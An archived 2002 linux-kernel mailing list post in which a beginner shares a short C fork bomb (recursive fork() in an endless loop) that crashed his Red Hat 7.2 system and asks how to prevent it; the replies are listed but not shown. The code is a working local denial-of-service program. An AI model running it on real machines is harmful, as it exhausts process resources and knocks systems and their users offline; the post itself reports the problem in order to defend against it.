public inbox for linux-kernel@vger.kernel.org
 help / color / mirror / Atom feed
* fork() DoS?
@ 2002-03-22 15:16 Little, John
  2002-03-22 15:24 ` Philip R. Auld
                   ` (2 more replies)
  0 siblings, 3 replies; 5+ messages in thread
From: Little, John @ 2002-03-22 15:16 UTC (permalink / raw)
  To: 'linux-kernel@vger.kernel.org'

I'm really not a programmer, just learning, but was able to bring the system
to it's knees.  This is a redhat 7.2 kernel.  Is there anyway of preventing
this?

#include <unistd.h>

void do_fork()
{
   pid_t p;

   p = fork();
   do_fork();
}

void main()
{
   for(;;)
      do_fork();
}


^ permalink raw reply	[flat|nested] 5+ messages in thread

end of thread, other threads:[~2002-03-24 16:28 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2002-03-22 15:16 fork() DoS? Little, John
2002-03-22 15:24 ` Philip R. Auld
2002-03-22 15:25 ` Peter Wächtler
2002-03-23 22:09 ` Erik Tews
2002-03-24 16:23   ` Mark Mielke

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox